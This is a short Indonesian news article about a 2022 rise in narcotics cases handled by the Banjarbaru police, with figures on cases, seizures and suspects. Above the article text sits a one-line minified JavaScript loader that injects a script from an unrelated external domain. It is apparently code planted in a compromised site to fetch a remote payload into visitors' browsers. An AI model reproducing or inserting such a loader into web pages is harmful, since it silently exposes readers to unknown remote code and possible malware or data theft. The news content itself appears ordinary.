(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kasus Narkotika di Banjarbaru Mengalami Peningkatan di Tahun 2022

KANALKALIMANTAN.COM, BANJARBARU – Kasus Narkotika masih memuncaki perkara di Polres Banjarbaru. Ada 158 perkara sepanjang tahun 2022 yang berhasil diungkap, dengan menyisakan 15 kasus dalam proses lidik.

Adapun pelaku perkara Narkotika ini berkisar antara 20-30 tahun dengan pekerjaan bermacam-macam.

Kapolres Banjarbaru, AKBP Dody Harza Kusumah mengakui perkara Narkotika di Kota Banjarbaru mengalami kenaikan dari tahun 2021 lalu.

“Adapun penyelesaian perkara, Polres Banjarbaru berhasil menyelesaikan 143 perkara dari 158 perkara yang ada,” ujarnya, Kamis (29/12/2022).

Sementara itu untuk jumlah tersangka yang berhasil diamankan sepanjang tahun 2022 ini berjumlah 206 tersangka dari 158 kasus.

Dirinci AKBP Dody, terkait kasus perkara Narkotika sepanjang 2022, untuk perkara sabu berjumlah 733,14 gram, ekstasi 20 butir, zenit berjumlah 2.628 butir, obat daftar G berjumlah 3.014 butir dan miras 477 botol.

“Pengungkapan kasus tersebut diperkirakan dapat menyelamatkan kurang lebih 12.026 jiwa,” ungkapnya.

Dibeberkan AKBP Dody, terkait tersangka perkara narkoba, usia berkisar antara 20-30 tahun. Dengan berbagai macam pekerjaan baik wiraswasta hingga mahasiswa.

“Kebanyakan di usia produktif, yang mendominasi kebanyakan pekerja,” tuntasnya. (Kanalkalimantan.com/ibnu)

ReporterÂ : ibnu
Editor : cell